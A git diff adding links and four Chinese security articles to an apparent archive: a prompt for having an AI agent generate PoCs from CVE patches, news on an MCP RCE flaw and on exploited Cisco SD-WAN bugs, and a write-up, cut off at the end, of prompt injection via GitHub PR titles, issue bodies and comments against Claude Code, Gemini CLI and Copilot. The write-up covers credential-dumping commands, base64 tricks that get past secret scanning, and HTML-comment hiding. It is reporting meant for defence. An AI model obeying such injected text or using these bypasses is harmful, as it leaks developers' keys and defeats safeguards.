diff --git a/data.json b/data.json index ee5799ff..b90d2020 100644 --- a/data.json +++ b/data.json @@ -20085,5 +20085,15 @@ "https://mp.weixin.qq.com/s/sJyzNUNNEGER9MjJA9FmXQ": "绕过WAF运行命令执行漏洞的方法", "https://mp.weixin.qq.com/s/6Xf5iH2Y778t6ZcY2BKCeg": "[漏洞报告]从0-1,小白也能学会的实战漏洞报告", "https://mp.weixin.qq.com/s/e4oqf25-EklvillmpHpVnw": "Vite开发服务器任意文件读取漏洞复现", - "https://mp.weixin.qq.com/s/IYQHW8VzC3JJCVOnXYYmeg": "【已复现】FortiClientEMS API 身份验证和授权绕过漏洞(CVE-2026-35616)" + "https://mp.weixin.qq.com/s/IYQHW8VzC3JJCVOnXYYmeg": "【已复现】FortiClientEMS API 身份验证和授权绕过漏洞(CVE-2026-35616)", + "https://mp.weixin.qq.com/s/svknIswjlxtMWle4-EcB1w": "Windows截图工具NTLM哈希泄露漏洞PoC利用代码发布", + "https://mp.weixin.qq.com/s/yvwbaffXsytaE4d8fi3Q2g": "AI代码审计 | 通过补丁信息分析漏洞生成Poc", + "https://mp.weixin.qq.com/s/DSfFwDxQjRHEDO-3B7evdQ": "kernel heap exploit", + "https://mp.weixin.qq.com/s/-NZ6V1Z2VzS2QjLyuUSJfQ": "攻击者持续一年攻击TP-Link路由器漏洞CVE-2023-33538仍未得逞", + "https://mp.weixin.qq.com/s/rFF93QyC4cpossGe9T2Cxw": "苹果正在开发修复程序以解决与缺失的捷克键盘字符相关的iPhone密码漏洞", + "https://mp.weixin.qq.com/s/zvO7JA79mbOKJP8mtfPCuQ": "Claude Code、Gemini CLI 和 GitHub Copilot 存在通过 GitHub 评论注入的漏洞", + "https://mp.weixin.qq.com/s/ZrAjye39hq8Olut8hrh5rw": "Anthropic MCP 设计漏洞可导致 RCE,威胁 AI 供应链安全", + "https://mp.weixin.qq.com/s/XUChESDyRuFnxGVBiu0_rw": "D-link的漏洞复现", + "https://mp.weixin.qq.com/s/t6lUu7fR9YgGOqjWEwIqQQ": "CISA 提醒防御者注意思科 Catalyst SD-WAN 管理器的安全漏洞已被利用", + "https://mp.weixin.qq.com/s/0HD680654m8Grim_rh23dQ": "因第三方AI工具受陷,Vercel 内部系统遭未授权访问" } \ No newline at end of file diff --git a/doc/2026-04/AI代码审计 通过补丁信息分析漏洞生成Poc.md b/doc/2026-04/AI代码审计 通过补丁信息分析漏洞生成Poc.md new file mode 100644 index 00000000..0870f1e7 --- /dev/null +++ b/doc/2026-04/AI代码审计 通过补丁信息分析漏洞生成Poc.md @@ -0,0 +1,79 @@ +# AI代码审计 | 通过补丁信息分析漏洞生成Poc +原创 进击的HACK + 进击的HACK 进击的HACK 2026-04-21 10:12 + +  + +> 字数 586,阅读大约需 3 分钟 + +## 前言 + +通过 ubuntu22 + Cluade Code + CC-Switch + GLM 4.6 air 实现的通过 CVE 编号,获取漏洞版本和已修复版本,然后自动 git 下载项目,比较分支,并生成 Poc。 +## Vite 任意文件读取漏洞 (CVE-2026-39363) + +CVE 信息 +https://nvd.nist.gov/vuln/detail/CVE-2026-39363 + +已知信息:**vitejs** +CVE 信息:https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-39363 +项目地址:https://github.com/vitejs/vite +``` +作为网络安全专家,精通代码审计和漏洞分析,请执行以下任务: + +当前已知信息: +已知信息: +**vitejs** +CVE-2026-39363 信息:https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-39363 +项目地址:https://github.com/vitejs/vite + + +1. 根据上面的已知信息,获取漏洞的详细信息,包括漏洞描述、影响范围、CVSS评分等关键数据。 + +2. 访问项目地址,克隆或下载该项目的源代码。注意:访问GitHub网站时,在命令前添加proxychains;若网络连接不畅,同样需要添加proxychains前缀以确保网络访问正常。 + +3. 基于漏洞信息,分析该漏洞对项目的影响版本范围,确定受影响的具体版本号。 + +4. 识别并确认项目中修复相关漏洞的最新版本号,该版本应是漏洞修复后发布的首个稳定版本。 + +5. 使用git工具比较受影响的版本与修复版本之间的代码差异,具体执行以下操作: +   a. 检出受影响版本的代码 +   b. 检出修复版本的代码 +   c. 执行git diff命令比较两个版本的差异 +   d. 精确定位引入漏洞的代码位置和修复该漏洞的代码变更 + +6. 根据漏洞分析和代码差异,开发一个可验证的Proof of Concept (PoC),该PoC应能够清晰演示漏洞的存在和利用过程,包括必要的测试环境说明、操作步骤和预期结果。 + +7. 整理分析报告,内容应包括:漏洞影响版本确认、修复版本确认、关键代码差异分析、漏洞点精确定位、PoC验证过程及结果。 +``` + +开销: +![0c848554461bc8a220cd12700541159c.png](https://mmbiz.qpic.cn/sz_mmbiz_png/oQ0sWhcqsVnAacib1EbeunOM9eaXxiaib5wshXcZnvL5eJaOPEdbLaQorHhgXWGAjibsFKP2t2Dx5jRUJrvaqViawwbjIkNIzAntf6mD9BHlK1ib0/640?from=appmsg "null") + +0c848554461bc8a220cd12700541159c.png + +结果: +![c8ef5239ce61a9a5b7c73221d65e0249.png](https://mmbiz.qpic.cn/mmbiz_png/oQ0sWhcqsVlvFibBxucowpObrQxXLsmbQd35Oc4WnvqkPEERqAnWLdGAXaLlnlmC6iciazvFy9nkmtzx69XnI0gsdqakianaRgnpUrbAibDx3fNE/640?from=appmsg "null") + +c8ef5239ce61a9a5b7c73221d65e0249.png +## 总结 + +总的来说,大部分开源的github项目的cve漏洞都可以通过类似的方式获取Poc。 +## 参考资料 +- • 白嫖企业级 AI 进行漏洞补丁分析 [https://mp.weixin.qq.com/s/V0U6t5LrA5S_HPqAs0vb6A](https://mp.weixin.qq.com/s?__biz=MzIzNDU5Mzk2OQ==&mid=2247486916&idx=1&sn=f5b519a039c0d6e99143c13ea435415f&scene=21#wechat_redirect) + + +- • https://forum.butian.net/article/808 + +- • 【代码审计】用友 NCCloudGatewayServlet 命令执行漏洞 补丁分析 [https://mp.weixin.qq.com/s/W86G85XZP3HIWWfR9Mfakw](https://mp.weixin.qq.com/s?__biz=MzkxMjY1NDMxMg==&mid=2247485940&idx=1&sn=32649eb1d6e882cea8162758692fa4b7&scene=21#wechat_redirect) + + + + +  + + + + + + + diff --git a/doc/2026-04/Anthropic MCP 设计漏洞可导致 RCE,威胁 AI 供应链安全.md b/doc/2026-04/Anthropic MCP 设计漏洞可导致 RCE,威胁 AI 供应链安全.md new file mode 100644 index 00000000..43c471d4 --- /dev/null +++ b/doc/2026-04/Anthropic MCP 设计漏洞可导致 RCE,威胁 AI 供应链安全.md @@ -0,0 +1,285 @@ +# Anthropic MCP 设计漏洞可导致 RCE,威胁 AI 供应链安全 +综合编译 + 综合编译 代码卫士 2026-04-21 10:32 + +  +![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "") +  +聚焦源代码安全,网罗国内外最新资讯! +  + +编译:代码卫士 + +![](https://mmbiz.qpic.cn/mmbiz_png/oBANLWYScMRSylJK2k7H6mNqiaS2G6WRaeeK34cLHE6pe9VeOIHYiboAnKB0TMoayZCxFpHMLljzTnz9DnNuFiaqQ/640?wx_fmt=png "") + + +专栏·供应链安全 + + +数字化时代,软件无处不在。软件如同社会中的“虚拟人”,已经成为支撑社会正常运转的最基本元素之一,软件的安全性问题也正在成为当今社会的根本性、基础性问题。 + + +随着软件产业的快速发展,软件供应链也越发复杂多元,复杂的软件供应链会引入一系列的安全问题,导致信息系统的整体安全防护难度越来越大。近年来,针对软件供应链的安全攻击事件一直呈快速增长态势,造成的危害也越来越严重。 + + +为此,我们推出“供应链安全”栏目。本栏目汇聚供应链安全资讯,分析供应链安全风险,提供缓解建议,为供应链安全保驾护航。 + + +注:以往发布的部分供应链安全相关内容,请见文末“推荐阅读”部分。 + +**OX Security****公司发现 Flowise 及多个 AI 框架存在一个严重漏洞,导致数百万用户面临远程代码执行(RCE)风险。该漏洞源于由 Anthropic 开发、广泛用于 AI 代理的通信标准模型上下文协议MCP。与常见的软件缺陷不同,该漏洞源于 Anthropic 官方 MCP SDK(涉及 Python、TypeScript、Java 和 Rust 版本)中嵌入的一项架构设计决策。任何基于 MCP 进行开发的开发者都会在不知情的情况下继承这一风险暴露面,这意味着攻击面并不仅限于单一平台,而是会波及整个 AI 供应链。** + + + + + + + + + + + + + + + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfUqyJyfJNfO3mNQXwfE3USBUk7EPh8bJJEEH896ARMvwOxjBOooe0MPrOtnyJgQ8aK1bGE3xmwIvzzlP6o4ZOf02pl5sYlAfkY/640?wx_fmt=gif&from=appmsg "") + +**MCP 核心架构漏洞** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfUAZwPL2eZE9JkuNraZurtfc8dc7SLdyrgvee6nKFsOPHJWkxL55Wxr6iboKiaEvrlJ9cATHqQuDICqlK7KciaaIkl2Mujs7njibOI/640?wx_fmt=gif&from=appmsg "") + + + +该漏洞使攻击者能够在受影响系统上执行任意命令,从而直接获取敏感的用户数据、内部数据库、API 密钥以及聊天记录。 + +研究人员在研究过程中成功在六个生产平台上实时执行了命令。Flowise(广泛使用的开源 AI 工作流构建工具)是受影响最严重的平台之一。研究人员发现了一种针对 Flowise 的“加固绕过”攻击向量,并证明即使配置了额外保护措施的环境,仍然可以通过 MCP 适配器接口被利用。 + +更广泛的危害范围令人震惊:超过 1.5 亿次下载、7000 多个公网可访问的服务器,以及整个生态系统中估计有 20 万个存在漏洞的实例。截至目前,已发布至少十个 CVE 编号,覆盖以下平台的关键漏洞:LiteLLM、LangChain、GPT Researcher、Windsurf、DocsGPT 以及 IBM 公司的 LangFlow。这些漏洞如下: + +- CVE-2025-65720 (GPT Researcher) + +- CVE-2026-30623 (LiteLLM) – 已修复 + +- CVE-2026-30624 (Agent Zero) + +- CVE-2026-30618 (Fay 框架) + +- CVE-2026-33224 (Bisheng) – 已修复 + +- CVE-2026-30617 (Langchain-Chatchat) + +- CVE-2026-33224 (Jaaz) + +- CVE-2026-30625 (Upsonic) + +- CVE-2026-30615 (Windsurf) + +- CVE-2026-26015 (DocsGPT) – 已修复 + +- CVE-2026-40933 (Flowise) + + + +如下是已确认四类不同的利用方式: + +- 未授权 UI 注入:影响多个流行 AI 框架。 + +- 加固绕过:针对 Flowise 等“受保护”环境。 + +- 零点击提示词注入:针对 Windsurf、Cursor 等 AI IDE。 + +- 恶意 MCP 服务器投毒:测试中成功污染了9 个 MCP 注册中心(共11个)。 + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfUdYPMaavzaxrUgV4tl9LibWcJzRhXvUAaU2ib8zwVa9G7FjM23ZjygsrZWNfuibsFQvXN44FbvqlPF4XMG4WdnIvatYVYo6nGUZw/640?wx_fmt=gif&from=appmsg "") + +**Anthropic 拒绝协议层面的修复** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t5z0xV2OYfWLlMPyqKSCbG9pItOPeWaf7Mz9LT1VXwkvicRoBfXX3QAib6OyChcCrGmepj8HsX63EkCOTPc9Xflv5yNrGsicTVSO9fiaNwgQhR0/640?wx_fmt=gif&from=appmsg "") + + + +OX Security的研究人员多次向 Anthropic 建议进行根因层面的补丁修复,本可以保护数百万下游用户的安全。然而,Anthropic 公司拒绝了该建议,并将此行为定性为“符合预期”。当研究者告知其计划公开发布研究结果时,Anthropic 未表示异议。 + +安全团队应立即采取以下措施: + +- 阻止 AI 服务(尤其是连接了敏感 API 或数据库的服务)暴露在公网。 + +- 将所有外部 MCP 配置输入视为不可信,并限制用户输入传递到 StdioServerParameters。 + +- 仅从经过验证的来源(例如官方 GitHub MCP Registry)安装 MCP 服务器。 + +- 在最小权限的沙箱环境中运行启用了 MCP 的服务。 + +- 监控 AI 代理的工具调用行为,发现异常的出站活动。 + +- 立即将所有受影响服务更新到最新的已修复版本。 + + + + +开源 +卫士试用地址: +https://sast.qianxin.com/#/login + +代码卫士试用地址: +https://codesafe.qianxin.com + + + + + + + + + + + + +**推荐阅读** + +[在线阅读版:《2025中国软件供应链安全分析报告》全文](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523516&idx=1&sn=0b6fc53ba92e7b5135395b67fff6a822&scene=21#wechat_redirect) + + +[Axios 严重漏洞可导致 RCE](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525768&idx=2&sn=b8967ced3022f4f88a311a652e635650&scene=21#wechat_redirect) + + +[Trivy供应链攻击触发CanisterWorm 在47个 npm 包中自传播](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525520&idx=2&sn=b3d4dddc586c4b0aa8cefb09c0344cb8&scene=21#wechat_redirect) + + +[热门包管理器中存在多个漏洞,JavaScript 生态系统易受供应链攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524984&idx=1&sn=19aef4ce8e288278782458e430a710d8&scene=21#wechat_redirect) + + +[开源自托管平台 Coolify 修复11个严重漏洞,可导致服务器遭完全攻陷](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524828&idx=2&sn=21af241f60f1452013815133745e9a72&scene=21#wechat_redirect) + + +[得不到就毁掉:第二轮Sha1-Hulud供应链攻击已发起,影响2.5万+仓库](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524487&idx=1&sn=f170d3131122071dec6e419c6cff562c&scene=21#wechat_redirect) + + +[vLLM 高危漏洞可导致RCE](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524481&idx=3&sn=6d0b161f8add2f6c1ee65e60ef6955d8&scene=21#wechat_redirect) + + +[开源AI框架 Ray 的0day已用于攻陷服务器和劫持资源](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247519162&idx=1&sn=3872fcc82018e2c561d9e4e7574f0c8e&scene=21#wechat_redirect) + + +[热门 React Native NPM 包中存在严重漏洞,开发人员易受攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524330&idx=2&sn=bc54e02a8f815ed78b67d3135a9f9607&scene=21#wechat_redirect) + + +[10个npm包被指窃取 Windows、macOS 和 Linux 系统上的开发者凭据](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524314&idx=2&sn=81cae6998a39f2153ed18d7cc065303b&scene=21#wechat_redirect) + + +[热门 React Native NPM 包中存在严重漏洞,开发人员易受攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524330&idx=2&sn=bc54e02a8f815ed78b67d3135a9f9607&scene=21#wechat_redirect) + + +[热门NPM库 “coa” 和“rc” 接连遭劫持,影响全球的 React 管道](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247508946&idx=1&sn=273c58d08a4225306a567cf6a150f40c&scene=21#wechat_redirect) + + +[开发人员注意:VSCode 应用市场易被滥用于托管恶意扩展](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247515219&idx=1&sn=faa32338df1d68e7cd738a80222f3a44&scene=21#wechat_redirect) + + +[GitHub Copilot 严重漏洞可导致私有仓库源代码被盗](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524163&idx=1&sn=d70a7c55e27a3e179522330a9ce62b0b&scene=21#wechat_redirect) + + +[受 Salesforce 供应链攻击影响,全球汽车巨头 Stellantis 数据遭泄露](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524053&idx=1&sn=2b843932ebd4eeeb17b6935b08be82f8&scene=21#wechat_redirect) + + +[捷豹路虎数据遭泄露生产仍未恢复,幕后黑手或与 Salesforce-Salesloft 供应链攻击有关](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523990&idx=1&sn=ad9957a5c3d054d4a0bf32250bceb556&scene=21#wechat_redirect) + + +[十几家安全大厂信息遭泄露,谁是 Salesforce-Salesloft 供应链攻击的下一个受害者?](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523972&idx=1&sn=7b06c31940ea7576d0236d9310886b39&scene=21#wechat_redirect) + + +[第三方集成应用 Drift OAuth 令牌被用于攻陷 Salesforce 实例,全球700+家企业受影响](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523952&idx=1&sn=2bc84253019e6c2525bcf928eaed696c&scene=21#wechat_redirect) + + +[黑客发动史上规模最大的 NPM 供应链攻击,影响全球10%的云环境](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523990&idx=2&sn=6e38e1ee8cd69f1375a5be218c02ff97&scene=21#wechat_redirect) + + +[十几家安全大厂信息遭泄露,谁是 Salesforce-Salesloft 供应链攻击的下一个受害者?](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523972&idx=1&sn=7b06c31940ea7576d0236d9310886b39&scene=21#wechat_redirect) + + +[第三方集成应用 Drift OAuth 令牌被用于攻陷 Salesforce 实例,全球700+家企业受影响](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523952&idx=1&sn=2bc84253019e6c2525bcf928eaed696c&scene=21#wechat_redirect) + + +[AI供应链易遭“模型命名空间复用”攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523962&idx=1&sn=2d9b8ca044c242a6ae1f72df93d7acb0&scene=21#wechat_redirect) + + +[Frostbyte10:威胁全球供应链的10个严重漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523957&idx=2&sn=288b0d14a657b13c7f1a6b14705a44e8&scene=21#wechat_redirect) + + +[PyPI拦截1800个过期域名邮件,防御供应链攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523850&idx=2&sn=72dc01d9984a720959b312dd0e7cf05e&scene=21#wechat_redirect) + + +[PyPI恶意包利用依赖引入恶意行为,发动软件供应链攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523844&idx=2&sn=08c8962eead61fe76467a9196b3da3e5&scene=21#wechat_redirect) + + +[黑客利用虚假 PyPI 站点钓鱼攻击Python 开发人员](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523700&idx=2&sn=463d300bdfd3de129cd5d258ceb67cf4&scene=21#wechat_redirect) + + +[700多个恶意误植域名库盯上RubyGems 仓库](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247492823&idx=2&sn=9c226ff328303e78331451ac5219df07&scene=21#wechat_redirect) + + +[NPM “意外” 删除 Stylus 合法包 全球流水线和构建被迫中断](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523648&idx=1&sn=d9237c45bf78637d1cdd3bedd1d873e6&scene=21#wechat_redirect) + + +[固件开发和更新缺陷导致漏洞多年难修,供应链安全深受其害](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523615&idx=1&sn=1df256011200be03dc2afc80016c587e&scene=21#wechat_redirect) + + +[NPM仓库被植入67个恶意包传播恶意软件](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523592&idx=2&sn=5087c0aa841caf3f0def9a1ca6c5ad27&scene=21#wechat_redirect) + + +[在线阅读版:《2025中国软件供应链安全分析报告》全文](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523516&idx=1&sn=0b6fc53ba92e7b5135395b67fff6a822&scene=21#wechat_redirect) + + +[NPM软件供应链攻击传播恶意软件](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523234&idx=2&sn=ac4e0656fd04218349d356761af176dd&scene=21#wechat_redirect) + + +[隐秘的 npm 供应链攻击:误植域名导致RCE和数据破坏](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523167&idx=2&sn=4249c8e9e0dace01810c665eda52c421&scene=21#wechat_redirect) + + +[NPM恶意包利用Unicode 隐写术躲避检测](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523031&idx=2&sn=5071cdb63bdd6339b1a3ff7ef3581cd5&scene=21#wechat_redirect) + + +[Aikido在npm热门包 rand-user-agent 中发现恶意代码](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247522945&idx=1&sn=c767722383afc7e6b505aef2f50ba4cd&scene=21#wechat_redirect) + + +[密币Ripple 的NPM 包 xrpl.js 被安装后门窃取私钥,触发供应链攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247522841&idx=2&sn=024b6c290bf4ebecc241f11bc944be1c&scene=21#wechat_redirect) + + + + +**原文链接** + +https://www.darkreading.com/application-security/ai-assisted-supply-chain-attack-targets-github + + +**本文由奇安信编译,不代表****奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") + +  +觉得不错,就点个 “ +在看 +” 或 " +赞 +” 吧~ + + diff --git a/doc/2026-04/CISA 提醒防御者注意思科 Catalyst SD-WAN 管理器的安全漏洞已被利用.md b/doc/2026-04/CISA 提醒防御者注意思科 Catalyst SD-WAN 管理器的安全漏洞已被利用.md new file mode 100644 index 00000000..f874652e --- /dev/null +++ b/doc/2026-04/CISA 提醒防御者注意思科 Catalyst SD-WAN 管理器的安全漏洞已被利用.md @@ -0,0 +1,37 @@ +# CISA 提醒防御者注意思科 Catalyst SD-WAN 管理器的安全漏洞已被利用 +原创 网络安全9527 + 网络安全9527 安全圈的那点事儿 2026-04-21 11:05 + +美国网络安全和基础设施安全局 (CISA) 已向网络防御者发出紧急警告,提醒他们注意 Cisco Catalyst SD-WAN Manager 的恶意攻击。 + +2026 年 4 月 20 日,CISA 正式将影响该平台的三个不同的安全漏洞添加到其已知利用漏洞 (KEV) 目录中。 + +Cisco Catalyst SD-WAN Manager 是一个关键的管理控制台,用于配置和维护企业级广域网基础设施。 + +由于该平台控制着重要的网络流量路由,攻破该平台将使攻击者在企业环境中获得危险的立足点。 + +联邦机构和私营组织必须在 2026 年 4 月 23 日的严格期限内立即采取缓解措施。 +## 思科的三个被利用的漏洞 +- CVE-2026-20133 会将敏感信息暴露给未经授权的攻击者,允许远程攻击者查看机密网络数据。 +- CVE-2026-20122 涉及由于文件处理不当而滥用特权 API,允许攻击者覆盖系统文件并获得强大的 vManage 权限。 +- CVE-2026-20128 源于以可恢复格式存储密码,这使得低权限的本地攻击者能够获取凭据文件并提升到 DCA 用户权限。 +这些漏洞叠加在一起,对整个网络的完整性构成了重大威胁。 + +攻击者可能首先远程收集敏感数据,然后利用 API 漏洞修改关键系统文件。 + +一旦威胁行为者获得 vManage 或 DCA 用户权限,他们实际上就完全控制了 SD-WAN 管理环境。 + +虽然CISA 已确认这些漏洞已被积极利用,但目前尚不清楚勒索软件团伙是否已将这些特定漏洞纳入其攻击策略中。 + +尽管如此,仅有三天时间进行补救,这凸显了威胁的严重性。 + +网络管理员必须迅速采取行动,保护其基础设施免受这些持续不断的攻击。 + +各组织被指示严格遵守 CISA 的紧急指令 26-03,以评估其风险敞口并正确修补易受攻击的系统。 + +安全团队还应彻底审查 Cisco SD-WAN 设备的官方狩猎和加固指南,以检测潜在的安全漏洞并保护其配置。 + +如果平台托管在云端,则防御者必须遵守具有约束力的操作指令 BOD 22-01。 + +CISA明确警告,如果组织不能及时采取这些缓解措施,则必须完全停止使用受影响的产品,以保护其网络。 + diff --git a/doc/2026-04/Claude Code、Gemini CLI 和 GitHub Copilot 存在通过 GitHub 评论注入的漏洞.md b/doc/2026-04/Claude Code、Gemini CLI 和 GitHub Copilot 存在通过 GitHub 评论注入的漏洞.md new file mode 100644 index 00000000..31b9b9bb --- /dev/null +++ b/doc/2026-04/Claude Code、Gemini CLI 和 GitHub Copilot 存在通过 GitHub 评论注入的漏洞.md @@ -0,0 +1,41 @@ +# Claude Code、Gemini CLI 和 GitHub Copilot 存在通过 GitHub 评论注入的漏洞 +原创 网络安全9527 + 网络安全9527 安全圈的那点事儿 2026-04-21 11:13 + +一种名为“评论和控制”的跨供应商关键漏洞类别是一种新型的提示注入攻击,它利用 GitHub 拉取请求标题、问题正文和问题评论来劫持 AI 编码代理,并直接从 CI/CD 环境中窃取 API 密钥和访问令牌。 + +此次攻击的名称刻意模仿了恶意软件活动中常用的经典命令与控制(C2)框架。经确认,三款广泛部署的人工智能代理程序——Anthropic 的 Claude Code Security Review、Google 的 Gemini CLI Action 和 GitHub Copilot Agent(软件工程代理)——存在漏洞。 + +据研究员关傲南称,整个攻击循环在 GitHub 内部运行:攻击者编写恶意 PR 标题或问题评论,AI 代理将其读取并作为可信上下文进行处理,执行攻击者提供的指令,并通过 PR 评论、问题评论或 git 提交泄露凭据,无需外部服务器。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/BicXBAdicJy7Mz3n10zyoZ352icGm7EkTK2Cx1t3Yelf4DD3P4tUxP2jInibtDqQu5ZKkJW1zQalDL6w9ULia4PAOVlTKk1N3TPMq1K7qUq9lwIc/640?wx_fmt=png&from=appmsg "") + +与经典的间接提示注入不同,后者是被动的,需要受害者明确地请求 AI 处理文档,而评论和控制是主动的:GitHub Actions 工作流会在  pull_request、  issues和 issue_comment  事件上自动触发,这意味着只需打开 PR 或提交问题即可激活代理,而无需受害者进行任何交互。 +## 发现 1:Claude 代码安全审查 — PR 标题与 RCE 有关 + +在 Anthropic 的 Claude 代码安全审查操作中,PR 标题会直接插入到代理的提示符中,没有任何清理措施。由于 Claude CLI 的调用没有 --disallowed-tools 任何 --allowed-tools 限制,子进程会继承所有环境变量,包括 ANTHROPIC_API_KEY 和 GITHUB_TOKEN。 + +攻击者只需提交一个恶意标题的 PR,该标题会突破提示上下文,指示 Claude 执行 `cride`  whoami、  ps auxeww`cride` 或 env `cride` 命令,并将完整的凭据转储以 JSON 格式的“安全发现”发布到 PR 评论中。该漏洞被 Anthropic 评为 CVSS 9.4 严重级别(从 9.3 升级),并通过 HackerOne 平台报告(#3387969),并获得了 100 美元的赏金。 +## 发现 2:Gemini CLI 操作 — API 密钥泄露问题评论 + +Google 的 Gemini CLI 操作会将问题标题、正文和评论包含在代理的提示上下文中的“附加内容”部分。攻击者通过在其后立即注入一个伪造的“可信内容部分”,可以绕过 Gemini 的安全指令,导致 Gemini 将内容 GEMINI_API_KEY 作为公开问题评论发布,任何人都可以查看。 + +该漏洞由研究员 Neil Fendley 与约翰·霍普金斯大学的合作者一起向 Google VRP (#1609699) 报告,并获得了 1,337 美元的赏金。 +## 发现3:Copilot Agent——三层防御绕过 + +GitHub Copilot Agent 的发现技术难度最高。GitHub 实施了三项运行时级别的缓解措施:环境变量过滤、密钥扫描和网络防火墙——但所有这些措施都被绕过了: +- **环境变量过滤绕过:** 该 UU() 函数仅过滤子 bash 子进程中的敏感变量。 ps auxeww 从该子进程运行会读取 /proc/[pid]/environ 未经过滤的父 Node.js 进程和 MCP 服务器,从而恢复 ``  GITHUB_TOKEN、`   GITHUB_COPILOT_API_TOKEN` 和两个额外的凭据。 +- **绕过秘密扫描:**  GitHub 的扫描器会检测 ghs_/ghu_ 标记前缀。在提交之前对输出进行 Base64 编码可以绕过所有模式匹配。 +- **防火墙绕过:** 编码后的凭据文件通过标准方式泄露 git push 给 PR(白名单操作),使其与正常的 Copilot 工作流程活动无法区分。 +为了进一步增强隐蔽性,攻击载荷隐藏在问题正文中的 HTML 注释内,在 GitHub 渲染的 Markdown 视图中不可见,但会被 AI 代理完全解析。 + +受害者只看到一个看似无害的可见请求,却在不知情的情况下将问题归咎于 Copilot。该漏洞最初通过 HackerOne 平台报告(#3544297),最初被标记为“已知问题”而搁置,但在研究人员提交了 Copilot 压缩包的逆向工程源代码后,该问题被重新开启 index.js。GitHub 最终悬赏 500 美元奖励该漏洞的修复者。 + +![](https://mmbiz.qpic.cn/mmbiz_png/BicXBAdicJy7OECRSImGgjiaO2hBgQiaoxjgFHzR8Ptic425tqp73yPjFdkica7biaIFKZoqvv6RS4S0XesnyhkpKd1NVDy1BM5DtjVJB0EicPm9D4M/640?wx_fmt=png&from=appmsg "") + +这三个漏洞都存在相同的架构缺陷:不受信任的 GitHub 数据流入 AI 代理,该代理在同一个运行时环境中持有生产机密信息和不受限制的工具访问权限。 + +正如研究人员指出的那样,这是首次公开跨厂商演示单个提示注入模式击败多个主要人工智能代理,其中包括一个部署了三个专用运行时防御机制的代理。 + +安全专家警告说,这种模式远不止 GitHub Actions,任何处理不受信任输入并能访问工具和密钥的 AI 代理都会受到影响,包括 Slack 机器人、Jira 